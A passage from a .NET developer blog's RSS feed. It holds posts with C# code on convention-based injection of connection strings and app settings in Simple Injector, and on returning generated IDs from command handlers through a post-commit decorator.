href="http://simpleinjector.cuttingedge.it/ReferenceLibrary/M_SimpleInjector_Container_GetCurrentRegistrations.htm" title="Simple Injector - Reference Library - Container.GetCurrentRegistrations">GetCurrentRegistrations</a> method, that returns a list of registered types.</li><li><a name="condideration3" title="condideration3"></a>Decorators are a great mechanism to extend behavior of command handlers and query handlers with cross-cutting concerns like validation and authorization. This can be mixed with metadata (attributes) placed on the command and query objects to define what behavior they should have.</li><li><a name="condideration4" title="condideration4"></a>Find a mechanism to communicate validation errors efficiently to the client. For instance, try a model where you can define validations in one place and let these validations be executed both on the server and client. You could for instance decorate command properties with Data Annotation attributes to allow them to be executed on both the client as the server. You could extend this with the configuration based approach of the <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/archive.php?c=Validation_Application_Block" title=".NET Junkie - Articles about Validation Application Block">Enterprise Library Validation Application Block</a> to define the server-side only validation. </li><li><a name="condideration5" title="condideration5"></a>When your architecture is based on commands and queries, setting up a web service is really easy and almost maintenance free. This means that it can be very convenient to have multiple (almost identical) web services side by side, with slightly different configuration. Imagine a service for public clients with access to a sub set of commands and queries of a second service, meant for internal clients. This can be a nice extra layer of defense. Or both an (internal) WCF service and a public <a rel="external" href="http://www.asp.net/web-api" title="ASP.NET Web API">ASP.NET Web API</a> service. </li><li><a name="condideration6" title="condideration6"></a>And of course apply <a rel="external" href="http://msdn.microsoft.com/en-us/library/ms731059.aspx" title="Best Practices for Security in WCF">WCF best practices</a> when it comes to securing your web service (and do test this).</li></ul><p>Here is the CodePlex project where you can find a working demo solution: <a rel="external" href="https://solidservices.codeplex.com" title="Highly Maintainable Web Services">solidservices.codeplex.com</a>. When you go to the <a rel="external" href="https://solidservices.codeplex.com/SourceControl/list/changesets" title="SOLID Services - Source Code">Source Code</a> tab you can download the latest version by clicking on the 'download' link.</p><p>This is how I roll on the service side of my architecture.</p> ]]></description>
			<guid isPermaLink="false">95@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General, Architecture, C#, Dependency injection</category>
			<pubDate>Thu, 30 Aug 2012 20:35:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Primitive Dependencies with the Simple Injector</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=94</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=94#comm</comments>
                        <description><![CDATA[ This article describes how to extend the Simple Injector with convension  based configuration for primitive constructor arguments.<p>When working with dependency injection, services (classes that contain behavior) depend on other services. The general idea is to inject those services into the constructor of the consuming service. Primitive types are no services, since they contain no behavior, and I normally advice not to mix primitive types and services in a single constructor. My advice would normally be:</p><ol><li>Extract and group the primitives in their own 'configuration' type and inject that type into the service, or</li><li>Move those primitives to properties and use property injection.</li></ol><p>I find property injection nice, since those primitives are almost always system configuration values and removing them from the constructor (and thus separating them from the required service dependencies) seems very clean.</p><p>The general consensus about property injection is however that it is supposed to be used for optional dependencies. This means that not injecting such dependency should allow the system to keep running. A connection string however is hardly ever optional, since without a connection string, it will be impossible to connect to the database. But since I don't really see those configuration values as 'real' dependencies, I personally don't mind using property injection.</p><p>Still, mixing primitives and services in the constructor can have a benefit, as explained by <a rel="external" href="http://blog.ploeh.dk/default.aspx" title="Mark Seemann's .NET blog">Mark Seemann</a> in his blog post about <a rel="external" href="http://blog.ploeh.dk/2012/07/02/PrimitiveDependencies.aspx" title="Mark Seemann's .NET blog - Primitive Dependencies">Primitive Dependencies</a>. In that post, Mark shows how to use <a rel="external" href="http://en.wikipedia.org/wiki/Convention_over_configuration" title="Wikipedia - Convention over configuration">convention over configuration</a> on primitive dependencies. For instance, by naming a string dependency 'xxxConnectionString', we can load the value by name 'xxx' directly from the <font color="#FF0000"><font color="#0000FF">&lt;</font>connectionStrings<font color="#0000FF">&gt;</font></font> section of the application's configuration file. Or an primitive dependency, who's name ends with 'AppSettings', can be retrieved directly from the <font color="#FF0000"><font color="#0000FF">&lt;</font>appSettings<font color="#0000FF">&gt;</font></font> section.</p><p>Personally, I'm not sure whether I would like these types of conventions, because the name of the value in the configuration file, will be coupled to your code. Though, I must admit that it can make the container&rsquo;s configuration simpler, since you won't have to create a new configuration type, use property injection, or fallback to using a lambda expression in registering the type. So let's see how we can implement such <em>convention over configuration</em> feature for <a rel="external" href="http://simpleinjector.codeplex.com" title="Simple Injector">Simple Injector</a>.</p><p>Simple Injector contains extension points for changing the way constructor injection works. By default, Simple Injector disallows registering and injecting value types and strings, which is a good default, since this would promote ambiguity. The trick is to change the constructor parameter verification behavior (defined by the <a rel="external" href="http://simpleinjector.cuttingedge.it/ReferenceLibrary/?topic=html/T_SimpleInjector_Advanced_IConstructorInjectionBehavior.htm" title="Simple Injector Reference Library - IConstructorVerificationBehavior Interface">IConstructorVerificationBehavior</a> interface) and the constructor injection behavior (defined by the <a rel="external" href="http://simpleinjector.cuttingedge.it/ReferenceLibrary/?topic=html/T_SimpleInjector_Advanced_IConstructorInjectionBehavior.htm" title="Simple Injector Reference Library - IConstructorInjectionBehavior Interface">IConstructorInjectionBehavior</a>).</p><p>By replacing the default implementations of these abstractions, we can extend Simple Injector to allow convention over configuration.</p><p>Let's start by defining an abstraction for conventions on constructor parameters:</p><pre class="cs" language="csharp" customtypes="CultureInfo ConfigurationManager IParameterConvention ParameterInfo Expression ConnectionStringsConvention DebuggerStepThrough ConnectionStringSettings AppSettingsConvention TypeConverter TypeDescriptor ConventionConstructorVerificationBehavior IConstructorVerificationBehavior ConventionConstructorInjectionBehavior IConstructorInjectionBehavior ContainerOptions" customvaluetypes="PutYourCustomValueTypesHere">public interface IParameterConvention<br />{<br />    bool CanResolve(ParameterInfo parameter);<br />    Expression BuildExpression(ParameterInfo parameter);<br />}</pre><p>This interface implements the tester-doer pattern. We can ask the convention whether it can resolve the supplied parameter, and if it can, <span class="code">BuildExpression</span> allows us to create an <span class="type">Expression</span> object that defines the constructor argument. Simple Injector works with expression trees under the covers, which allows it to compile delegates with performance that is very close to newing types up manually. By letting a convention return an <span class="type">Expression</span>, we will have best performance, and most flexibility in what and how a parameter must be injected.</p><p>Mark Seemann uses a convention for connection strings and app settings. Let's stick with that example and those two conventions. Let's start with the <span class="type">ConnectionStringsConvention</span>:</p><pre class="cs" language="csharp" customtypes="CultureInfo ConfigurationManager IParameterConvention ParameterInfo Expression ConnectionStringsConvention DebuggerStepThrough ConnectionStringSettings AppSettingsConvention TypeConverter TypeDescriptor ConventionConstructorVerificationBehavior IConstructorVerificationBehavior ConventionConstructorInjectionBehavior IConstructorInjectionBehavior ContainerOptions" customvaluetypes="PutYourCustomValueTypesHere">public class ConnectionStringsConvention : IParameterConvention<br />{<br />    private const string ConnectionStringPostFix =<br />        &quot;ConnectionString&quot;;<br /><br />    [DebuggerStepThrough]<br />    public bool CanResolve(ParameterInfo parameter)<br />    {<br />        bool resolvable =<br />            parameter.ParameterType == typeof(string) &amp;&amp;<br />            parameter.Name.EndsWith(ConnectionStringPostFix) &amp;&amp;<br />            parameter.Name.LastIndexOf(ConnectionStringPostFix) &gt; 0;<br /><br />        if (resolvable)<br />        {<br />            this.VerifyConfigurationFile(parameter);<br />        }<br /><br />        return resolvable;<br />    }<br /><br />    [DebuggerStepThrough]<br />    public Expression BuildExpression(ParameterInfo parameter)<br />    {<br />        var constr = this.GetConnectionString(parameter);<br /><br />        return Expression.Constant(constr, typeof(string));<br />    }<br /><br />    [DebuggerStepThrough]<br />    private void VerifyConfigurationFile(ParameterInfo parameter)<br />    {<br />        this.GetConnectionString(parameter);<br />    }<br /><br />    [DebuggerStepThrough]<br />    private string GetConnectionString(ParameterInfo parameter)<br />    {<br />        string name = parameter.Name.Substring(0,<br />            parameter.Name.LastIndexOf(ConnectionStringPostFix));<br /><br />        ConnectionStringSettings settings =<br />            ConfigurationManager.ConnectionStrings[name];<br /><br />        if (settings == null)<br />        {<br />            throw new ActivationException(<br />                &quot;No connection string with name '&quot; + name +<br />                &quot;' could be found in the application's &quot; +<br />                &quot;configuration file.&quot;);<br />        }<br /><br />        return settings.ConnectionString;<br />    }<br />}</pre><p>This <span class="type">ConnectionStringsConvention </span>does a few interesting things. Its <span class="code">CanResolve</span> method checks to see if the supplied parameter is of type <span class="keyword">string</span> and its name ends with 'ConnectionString'. If not, <span class="code">CanResolve</span> returns <span class="keyword">false</span> immediately, which means that we can fall back on Simple Injector&rsquo;s default validation behavior (or any behavior that is has been defined previously). If the parameter matches, <span class="code">CanResolve</span> will check if the value can be found in the <font color="#0000FF">&lt;</font><font color="#FF0000">connectionStrings</font><font color="#0000FF">&gt;</font> section of the application's configuration file. An exception will be thrown when this is not the case. The <span class="code">CanResolve</span> will get called during the registration process, and throwing an exception therefore allows us to let the application fail immediately when an invalid registration is made.</p><p>Compared to the <span class="code">CanResolve</span>, the <span class="code">BuildExpression </span>method pretty simple. It retrieves the connection string value from the configuration file, wraps it in an expression and returns that expression. Since the configuration file can't change during the lifetime of an application (changes either have no effect, or in case of a web application, will cause the application to be restarted), it would be useless to reread the value every time a new instance of the depending type is created. The value is constant, and we can safely return a <span class="type">ConstantExpression</span>. This also yields the best performance.</p><p>The <span class="type">AppSettingsConvention</span> looks similar to the previous <span class="type">ConnectionStringsConvention</span>. It too checks to see if the value exists in the configuration file. However, while the <span class="type">ConnectionStringsConvention </span>would only deal with strings, the <span class="type">AppSettingsConvention</span> can work with strings and any arbitrary value type that can be converted from a string (using .NET&rsquo;s built-in <span class="type">TypeConverter</span> system):</p><pre class="cs" language="csharp" customtypes="CultureInfo ConfigurationManager IParameterConvention ParameterInfo Expression ConnectionStringsConvention DebuggerStepThrough ConnectionStringSettings AppSettingsConvention TypeConverter TypeDescriptor ConventionConstructorVerificationBehavior IConstructorVerificationBehavior ConventionConstructorInjectionBehavior IConstructorInjectionBehavior ContainerOptions" customvaluetypes="PutYourCustomValueTypesHere">public class AppSettingsConvention : IParameterConvention<br />{<br />    private const string AppSettingsPostFix = &quot;AppSetting&quot;;<br /><br />    [DebuggerStepThrough]<br />    public bool CanResolve(ParameterInfo parameter)<br />    {<br />        Type type = parameter.ParameterType;<br /><br />        bool resolvable =<br />            (type.IsValueType || type == typeof(string)) &amp;&amp;<br />            parameter.Name.EndsWith(AppSettingsPostFix) &amp;&amp;<br />            parameter.Name.LastIndexOf(AppSettingsPostFix) &gt; 0;<br /><br />        if (resolvable)<br />        {<br />            this.VerifyConfigurationFile(parameter);<br />        }<br /><br />        return resolvable;<br />    }<br /><br />    [DebuggerStepThrough]<br />    public Expression BuildExpression(ParameterInfo parameter)<br />    {<br />        object valueToInject = this.GetAppSettingValue(parameter);<br /><br />        return Expression.Constant(valueToInject,<br />            parameter.ParameterType);<br />    }<br /><br />    [DebuggerStepThrough]<br />    private void VerifyConfigurationFile(ParameterInfo parameter)<br />    {<br />        this.GetAppSettingValue(parameter);<br />    }<br /><br />    [DebuggerStepThrough]<br />    private object GetAppSettingValue(ParameterInfo parameter)<br />    {<br />        string key = parameter.Name.Substring(0,<br />            parameter.Name.LastIndexOf(AppSettingsPostFix));<br /><br />        string configurationValue =<br />            ConfigurationManager.AppSettings[key];<br /><br />        if (configurationValue == null)<br />        {<br />            throw new ActivationException(<br />                &quot;No app setting with key '&quot; + key + &quot;' &quot; +<br />                &quot;could be found in the application's &quot; +<br />                &quot;configuration file.&quot;);<br />        }<br /><br />        TypeConverter converter = TypeDescriptor.GetConverter(<br />            parameter.ParameterType);<br /><br />        return converter.ConvertFromString(null,<br />            CultureInfo.InvariantCulture, configurationValue);<br />    }<br />}</pre><p>Now we've got two <span class="type">IParameterConvention</span> implementations, we need to allow plugging these implementations in the Simple Injector auto-wiring pipeline. We need create both a <span class="type">IConstructorVerificationBehavior</span> and a <span class="type">IConstructorInjectionBehavior</span> implementation:</p><pre class="cs" language="csharp" customtypes="CultureInfo ConfigurationManager IParameterConvention ParameterInfo Expression ConnectionStringsConvention DebuggerStepThrough ConnectionStringSettings AppSettingsConvention TypeConverter TypeDescriptor ConventionConstructorVerificationBehavior IConstructorVerificationBehavior ConventionConstructorInjectionBehavior IConstructorInjectionBehavior ContainerOptions" customvaluetypes="PutYourCustomValueTypesHere">internal class ConventionConstructorVerificationBehavior<br />    : IConstructorVerificationBehavior<br />{<br />    private IConstructorVerificationBehavior decorated;<br />    private IParameterConvention convention;<br /><br />    public ConventionConstructorVerificationBehavior(<br />        IConstructorVerificationBehavior decorated,<br />        IParameterConvention convention)<br />    {<br />        this.decorated = decorated;<br />        this.convention = convention;<br />    }<br /><br />    public void Verify(ParameterInfo parameter)<br />    {<br />        if (!this.convention.CanResolve(parameter))<br />        {<br />            this.decorated.Verify(parameter);<br />        }<br />    }<br />}</pre><p>This <span class="type">ConventionConstructorVerificationBehavior</span> is a decorator. It extends the container's original behavior with convention support. By extending the original behavior, it allows us to apply multiple conventions, or even mix it with other plug-ins that changed the default behavior of the container. The <span class="type">IConstructorInjectionBehavior</span> implementation looks very alike:</p><pre class="cs" language="csharp" customtypes="CultureInfo ConfigurationManager IParameterConvention ParameterInfo Expression ConnectionStringsConvention DebuggerStepThrough ConnectionStringSettings AppSettingsConvention TypeConverter TypeDescriptor ConventionConstructorVerificationBehavior IConstructorVerificationBehavior ConventionConstructorInjectionBehavior IConstructorInjectionBehavior ContainerOptions" customvaluetypes="PutYourCustomValueTypesHere">internal class ConventionConstructorInjectionBehavior<br />    : IConstructorInjectionBehavior<br />{<br />    private IConstructorInjectionBehavior decorated;<br />    private IParameterConvention convention;<br /><br />    public ConventionConstructorInjectionBehavior(<br />        IConstructorInjectionBehavior decorated,<br />        IParameterConvention convention)<br />    {<br />        this.decorated = decorated;<br />        this.convention = convention;<br />    }<br /><br />    public Expression BuildParameterExpression(<br />        ParameterInfo parameter)<br />    {<br />        if (!this.convention.CanResolve(parameter))<br />        {<br />            return this.decorated<br />                .BuildParameterExpression(parameter);<br />        }<br /><br />        return this.convention.BuildExpression(parameter);<br />    }<br />}</pre><p>Just one thing is missing, and that is a convenient extension method, that makes registering a new <span class="type">IParameterConvention</span> a simple one-liner:</p><pre class="cs" language="csharp" customtypes="CultureInfo ConfigurationManager IParameterConvention ParameterInfo Expression ConnectionStringsConvention DebuggerStepThrough ConnectionStringSettings AppSettingsConvention TypeConverter TypeDescriptor ConventionConstructorVerificationBehavior IConstructorVerificationBehavior ConventionConstructorInjectionBehavior IConstructorInjectionBehavior ContainerOptions" customvaluetypes="PutYourCustomValueTypesHere">public static void RegisterParameterConvention(<br />    this ContainerOptions options,<br />    IParameterConvention convention)<br />{<br />    options.ConstructorVerificationBehavior =<br />        new ConventionConstructorVerificationBehavior(<br />            options.ConstructorVerificationBehavior,<br />            convention);<br /><br />    options.ConstructorInjectionBehavior =<br />        new ConventionConstructorInjectionBehavior(<br />            options.ConstructorInjectionBehavior,<br />            convention);<br />}</pre><p>This extension method works over the <span class="type">ContainerOptions</span> class and replaces the <span class="type">ContainerOptions</span>' original <span class="code">ConstructorVerificationBehavior</span> and <span class="code">ConstructorInjectionBehavior</span> with our specially crafted versions, while wrapping the original implementations. With this in place, we can use these conventions as follows:</p><pre class="cs" language="csharp" customtypes="IDbContext MyDbContext CultureInfo ConfigurationManager IParameterConvention ParameterInfo Expression ConnectionStringsConvention DebuggerStepThrough ConnectionStringSettings AppSettingsConvention TypeConverter TypeDescriptor ConventionConstructorVerificationBehavior IConstructorVerificationBehavior ConventionConstructorInjectionBehavior IConstructorInjectionBehavior ContainerOptions Container" customvaluetypes="PutYourCustomValueTypesHere">var container = new Container();<br /><br />// Add the parameter convensions:<br />container.Options.RegisterParameterConvention(<br />    new ConnectionStringsConvention());<br /><br />container.Options.RegisterParameterConvention(<br />    new AppSettingsConvention());    <br /><br />// Registrations here<br />container.Register&lt;IDbContext, MyDbContext&gt;();</pre><p>And there you have it. Convention support for primitive dependencies with the Simple Injector.</p><h5>Happy injecting! <br /></h5> ]]></description>
			<guid isPermaLink="false">94@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General, C#, Dependency injection, Simple Injector</category>
			<pubDate>Thu, 19 Jul 2012 22:10:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Returning data from command handlers</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=93</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=93#comm</comments>
                        <description><![CDATA[ This article extends the architectural design of command handlers to allow command handlers to return data.<p>A few months back I described <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=91" title=".NET Junkie - Meanwhile&hellip; on the command side of my architecture">the command / handler architecture</a> that I (and many others) use to effectively model business operations in a system. Once in a while a question pops up in my mail or at <a rel="external" href="http://www.stackoverflow.com" title="Stackoverflow">Stackoverflow</a> about returning data from a command.</p><p>It seems strange at first to return data from commands, since the whole idea of the <a rel="external" href="http://en.wikipedia.org/wiki/Command-query_separation" title="Wikipedia - Command-query separation">Command-query separation</a> is that a function should either return a value or mutate state, but not both. So without any more context, I would respond to such question with: separate the returning of the data from the operation that mutates the state. Execute that command and <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=92" title=".NET Junkie - Meanwhile&hellip; on the query side of my architecture">execute a query</a> after the command has finished.</p><p>When we take a closer look at the question however, we will usually see that the data being returned is an Identifier of some sort, which is the result of the creation of some entity in the system. Take a look at the following command:</p><pre class="cs" language="csharp" customtypes="CreateCustomerCommand Address ActionResult CreateCustomerCommandHandler ICommandHandler IUnitOfWorkFactory NorthwindUnitOfWork Customer IPostCommitRegistrator UnitOfWork PostCommitRegistratorImpl PostCommitCommandHandlerDecorator TransactionCommandHandlerDecorator" customvaluetypes="PutYourCustomValueTypesHere">public class CreateCustomerCommand<br />{<br />    public string Name { get; set; }<br />    public Address Address { get; set; }<br />    public DateTime? DateOfBirth { get; set; }<br />}<br /></pre><p>Since the command will create a new customer, it&rsquo;s not unlikely for the caller to need the id of the customer, for instance to redirect to another page:</p><pre class="cs" language="csharp" customtypes="CreateCustomerCommand Address ActionResult CreateCustomerCommandHandler ICommandHandler IUnitOfWorkFactory NorthwindUnitOfWork Customer IPostCommitRegistrator UnitOfWork PostCommitRegistratorImpl PostCommitCommandHandlerDecorator TransactionCommandHandlerDecorator" customvaluetypes="PutYourCustomValueTypesHere">public ActionResult CreateCustomer(<br />    CreateCustomerCommand command)<br />{<br />    this.handler.Handle(command);<br />    int customerId = [get the customer Id here];<br />    return this.RedirectToAction(&quot;Index&quot;, <br />        new { id = customerId });<br />}</pre><p>Still, do we really want to return values from commands? A few things to note here. First of all, returning values from commands does mean that a command can never be executed asynchronously anymore, something that architectures such as <a rel="external" href="http://martinfowler.com/bliki/CQRS.html" title="Martin Fowler - CQRS">CQRS</a> promote. Besides this, the <span class="type">CreateCustomerCommand</span> seems very CRUDy, and probably doesn&rsquo;t really fit an architecture like CQRS. In a CQRS like architecture, you are likely to report to your user the message &ldquo;your request is being processed&rdquo; or might want to poll until the operation has executed asynchronously.</p><p>For the systems I&rsquo;m working on, for my customers, my fellow developers, and even myself, CQRS is a bridge too far. The idea of having all commands (possibly) execute asynchronously &ndash;and CQRS itself- is a real mind shift that I&rsquo;m currently not willing to make (yet), and I can&rsquo;t expect other developers to do to. With my current state of mind, it is simply too useful to have commands handlers return data to the caller. So how do we do that?</p><p>The answer is actually very simple: Define an &lsquo;output&rsquo; property on a command:</p><pre class="cs" language="csharp" customtypes="CreateCustomerCommand Address ActionResult CreateCustomerCommandHandler ICommandHandler IUnitOfWorkFactory NorthwindUnitOfWork Customer IPostCommitRegistrator UnitOfWork PostCommitRegistratorImpl PostCommitCommandHandlerDecorator TransactionCommandHandlerDecorator" customvaluetypes="PutYourCustomValueTypesHere">public class CreateCustomerCommand<br />{<br />    public string Name { get; set; }<br />    public Address Address { get; set; }<br />    public DateTime? DateOfBirth { get; set; }<br /><br />    // output property<br />    public int CustomerId { get; internal set; }<br />}</pre><p>When a command handler sets this property during the execution, the caller can use it as follows:</p><pre class="cs" language="csharp" customtypes="CreateCustomerCommand Address ActionResult CreateCustomerCommandHandler ICommandHandler IUnitOfWorkFactory NorthwindUnitOfWork Customer IPostCommitRegistrator UnitOfWork PostCommitRegistratorImpl PostCommitCommandHandlerDecorator TransactionCommandHandlerDecorator" customvaluetypes="PutYourCustomValueTypesHere">public ActionResult CreateCustomer(<br />    CreateCustomerCommand command)<br />{<br />    this.handler.Handle(command);<br />    int customerId = command.CustomerId;<br />    return this.RedirectToAction(&quot;Index&quot;, <br />        new { id = customerId });<br />}</pre><p>We can set this id from within the command handler:</p><pre class="cs" language="csharp" customtypes="CreateCustomerCommand Address ActionResult CreateCustomerCommandHandler ICommandHandler IUnitOfWorkFactory NorthwindUnitOfWork Customer IPostCommitRegistrator UnitOfWork PostCommitRegistratorImpl PostCommitCommandHandlerDecorator TransactionCommandHandlerDecorator" customvaluetypes="PutYourCustomValueTypesHere">public class CreateCustomerCommandHandler <br />    : ICommandHandler&lt;CreateCustomerCommand&gt;<br />{<br />    IUnitOfWorkFactory&lt;NorthwindUnitOfWork&gt; factory;<br /><br />    public CreateCustomerCommandHandler(<br />        IUnitOfWorkFactory&lt;NorthwindUnitOfWork&gt; factory)<br />    {<br />        this.factory = factory;<br />    }<br /> <br />    public void Handle(CreateCustomerCommand command)<br />    {<br />        using (var unitOfWork = this.factory.CreateNew())<br />        {<br />            var customer = new Customer<br />            {<br />                Name = command.Name,<br />                Street = command.Address.Street,<br />                City = command.Address.City,<br />                DateOfBirth = command.DateOfBirth,<br />            };<br /> <br />            unitOfWork.Customers.InsertOnSubmit(customer);<br /><br />            unitOfWork.Commit();<br /><br />            // Set the output property.<br />            command.CustomerId = customer.Id;<br />        } <br />    }<br />}</pre><p>As you can see, the <span class="code">CustomerId</span> property of the <span class="type">CreateCustomerCommand</span> is set at the end of the <span class="code">Handle</span> method of the handler. This sounds too good to be true, and well&hellip; it depends ;-).</p><p>When the <span class="type">Customer</span><span class="code">.Id</span> is generated by the database, the <span class="code">Commit</span> will ensure that the <span class="type">Customer</span> is persisted and will retrieve the auto-generated key and it will become available immediately after the <span class="code">Commit</span>. We can therefore simply set the command&rsquo;s <span class="code">CustomerId</span> property after calling <span class="code">Commit</span>.</p><p>The previous command handler was in complete control over the unit of work. It created that unit of work, it committed that unit of work, and it disposed that unit of work. This is a simple model I effectively used in the past, and I know others are still using this today. Letting the command handler control the unit of work however, has its short comes.</p><p>This design works great when commands are small and contain little logic. It starts to fall apart however, when commands get more complex and start to depend on other abstractions that need to run in the same context / unit of work. When the unit of work is controlled by the command handler, it is the handler's responsibility of passing it on to its dependencies, and since those dependencies are already created at the time the handler creates the unit of work, constructor injection is out of the picture. The only thing left is passing the unit of work through method arguments (method injection). Although it doesn&rsquo;t seem that bad, I worked on a system where we actually did this, but the call stacks were deep and passing around the unit of work from method to method, from class to class was just tedious. To make our lives easier we started creating a new unit of work for some operations, but this actually made things worse, since a single use case / request resulted in multiple unit of works, which sometimes lead to very strange behavior, or even deadlocks.</p><p>For this reason, I stepped away from this design and instead I inject a unit of work instance into classes that need it. Though, somebody somewhere in the system must manage the unit of work. This can be solved by registering the unit of work with a Per Thread or Per Web Request lifetime and implementing a command handler decorator that will ensure the unit of work is committed after the handler completed successfully (note that committing the unit of work on the end of the web request is typically a bad idea, since there is no way to tell whether the unit of work should actually be committed at that point). You have to realize that, although simplifying your application code, the complexity is moved into the <a rel="external" href="http://blog.ploeh.dk/2011/07/28/CompositionRoot.aspx" title="Mark Seemann's blog - Composition Root">composition root</a>. The size and complexity of your application must promote this. Although I must admit that once familiar with these types of constructions and configurations of your composition root, you will find it easy to apply in small systems as well.</p><p>One note about database generated keys. CQRS models the business around aggregate roots (a <a rel="external" href="http://en.wikipedia.org/wiki/Domain-driven_design" title="Wikipedia - Domain-driven design">DDD</a> concept), and each aggregate root gets a unique key, usually generated as a Guid, which can be generated in .NET. This means that when using CQRS, you will never run into the problem of database generated keys, which is great of course.</p><p>Aggregates in DDD are a group of domain objects that belong together. The Aggregate Root is the thing that holds them together. An <span class="type">Order</span> for instance, may have order lines and those order lines cannot live without that order. The order is therefore the aggregate root and has a unique (global) identifier. An order line does not need a (global) identifier (although they might have an local identifier, only known inside the aggregate), since it will never be referenced directly; other aggregates will only reference the order, never the lines. They may need an identitier in your relational database, but you would probably never return them from a command, since they are purely internal to the Aggregate. If such identitier is needed, returned, or referenced from other aggregates, they are probably not part of that aggregate and the system is incorrectly modeled, accordingly to DDD. This also means that the system will have not as many primary keys as a non-DDD system will have. In a normal relational database, each order line will usually get its own auto number primary key. In that case, it will be much more likely to get into performance problems when using Guids. A Guid is 16 bytes (12 bytes bigger than an Int32) and every database index of a certain table will contain the primary key of that table, making each index 12 bytes times the number of records in the table bigger. Disk space is cheap, but I/O isn&rsquo;t. When doing complex queries over large amounts of data, lowering the amount of I/O is important. And don&rsquo;t forget the clustered index fragmentation that random Guids cause.</p><p>Long story short, you might be in the situation where you don&rsquo;t use DDD / CQRS, want to return a database generated value from your command handlers, while having a design were command handler don&rsquo;t control the unit of work. How do we do this?</p><p>Since database generated IDs only come available after the data is saved to the database, and committing happens after the handler executed, we need a construct that allows the handlers to execute some code after the commit operation. We can introduce a new abstraction to the system, where command handlers can depend upon, which allows them to register some post-commit operation:</p><pre class="cs" language="csharp" customtypes="CreateCustomerCommand Address ActionResult CreateCustomerCommandHandler ICommandHandler IUnitOfWorkFactory NorthwindUnitOfWork Customer IPostCommitRegistrator UnitOfWork PostCommitRegistratorImpl PostCommitCommandHandlerDecorator TransactionCommandHandlerDecorator" customvaluetypes="PutYourCustomValueTypesHere">public interface IPostCommitRegistrator<br />{<br />    event Action Committed;<br />}</pre><p>This interface defines a single event, which command handlers can depend upon and register their post commit operation. The previously defined <span class="type">CreateCustomerCommandHandler</span> will now look like this:</p><pre class="cs" language="csharp" customtypes="CreateCustomerCommand Address ActionResult CreateCustomerCommandHandler ICommandHandler IUnitOfWorkFactory NorthwindUnitOfWork Customer IPostCommitRegistrator UnitOfWork PostCommitRegistratorImpl PostCommitCommandHandlerDecorator TransactionCommandHandlerDecorator" customvaluetypes="PutYourCustomValueTypesHere">public class CreateCustomerCommandHandler <br />    : ICommandHandler&lt;CreateCustomerCommand&gt;<br />{<br />    private readonly UnitOfWork unitOfWork;<br />    private readonly IPostCommitRegistrator postCommit;<br /><br />    public CreateCustomerCommandHandler(<br />        UnitOfWork unitOfWork,<br />        IPostCommitRegistrator postCommit)<br />    {<br />        this.unitOfWork = unitOfWork;<br />        this.postCommit= postCommit;<br />    }<br /> <br />    public void Handle(CreateCustomerCommand command)<br />    {<br />        var customer = new Customer<br />        {<br />            Name = command.Name,<br />            Street = command.Address.Street,<br />            City = command.Address.City,<br />            DateOfBirth = command.DateOfBirth,<br />        };<br /> <br />        this.unitOfWork.Customers.InsertOnSubmit(customer);<br /> <br />        // Register an event that will be called after commit.<br />        this.postCommit.Committed += () =&gt;<br />        {<br />            // Set the output property.<br />            command.CustomerId = customer.Id;<br />        };<br />    }<br />}</pre><p>This command handler registers a delegate to the <span class="type">IPostCommitRegistrator</span>, which is injected through the constructor (note that you should only inject the <span class="type">IPostCommitRegistrator </span>into a handler that actually needs it).</p><p>From the application design, this really is all there&rsquo;s to it. However, there is some more work to do inside the composition root. For instance, we need an implementation of this <span class="type">IPostCommitRegistrator</span>:</p><pre class="cs" language="csharp" customtypes="CreateCustomerCommand Address ActionResult CreateCustomerCommandHandler ICommandHandler IUnitOfWorkFactory NorthwindUnitOfWork Customer IPostCommitRegistrator UnitOfWork PostCommitRegistratorImpl PostCommitCommandHandlerDecorator TransactionCommandHandlerDecorator" customvaluetypes="PutYourCustomValueTypesHere">private sealed class PostCommitRegistratorImpl <br />    : IPostCommitRegistrator<br />{<br />    public event Action Committed = () =&gt; { };<br /> <br />    public void ExecuteActions()<br />    {<br />        this.Committed(); <br />    }<br /><br />    public void Reset()<br />    {<br />        // Clears the list of actions.<br />        this.Committed = () =&gt; { };    <br />    }<br />}</pre><p>This implementation is very simple. It just implements the <span class="code">Committed</span> event and defines an <span class="code">OnCommitted</span> method, which will be called from the code that manages the transactional behavior of the command handlers. In my <a rel="external" href="entry.php?id=91" title=".NET Junkie - Meanwhile&hellip; on the command side of my architecture">previous post</a> I defined an <span class="type">TransactionCommandHandlerDecorator</span><span class="code">&lt;T&gt;</span>, which allowed executing the commands in a transactional manner. Although we can extend this class to add this post commit behavior, I like my classes to be focused, and have a single responsibility. Let&rsquo;s define a <span class="type">PostCommitCommandHandlerDecorator</span><span class="code">&lt;T&gt;</span>, that has the sole responsibility of executing the registered post commit delegates, after a transaction was committed successfully:</p><pre class="cs" language="csharp" customtypes="CreateCustomerCommand Address ActionResult CreateCustomerCommandHandler ICommandHandler IUnitOfWorkFactory NorthwindUnitOfWork Customer IPostCommitRegistrator UnitOfWork PostCommitRegistratorImpl PostCommitCommandHandlerDecorator TransactionCommandHandlerDecorator" customvaluetypes="PutYourCustomValueTypesHere">private sealed class PostCommitCommandHandlerDecorator&lt;T&gt;<br />    : ICommandHandler&lt;T&gt;<br />{<br />    private readonly ICommandHandler&lt;T&gt; decorated;<br />    private readonly PostCommitRegistratorImpl registrator;<br /> <br />    public PostCommitCommandHandlerDecorator(<br />        ICommandHandler&lt;T&gt; decorated,<br />        PostCommitRegistratorImpl registrator)<br />    {<br />        this.decorated = decorated;<br />        this.registrator = registrator;<br />    }<br /> <br />    public void Handle(T command)<br />    {<br />        try<br />        {<br />            this.decorated.Handle(command);<br /> <br />            this.registrator.ExecuteActions();<br />        }<br />        finally<br />        {<br />            this.registrator.Reset();<br />        }<br />    }<br />}</pre><p>This decorator depends on the <span class="type">PostCommitRegistratorImpl</span> directly and during the Handle method -after the transaction completes successfully- the <span 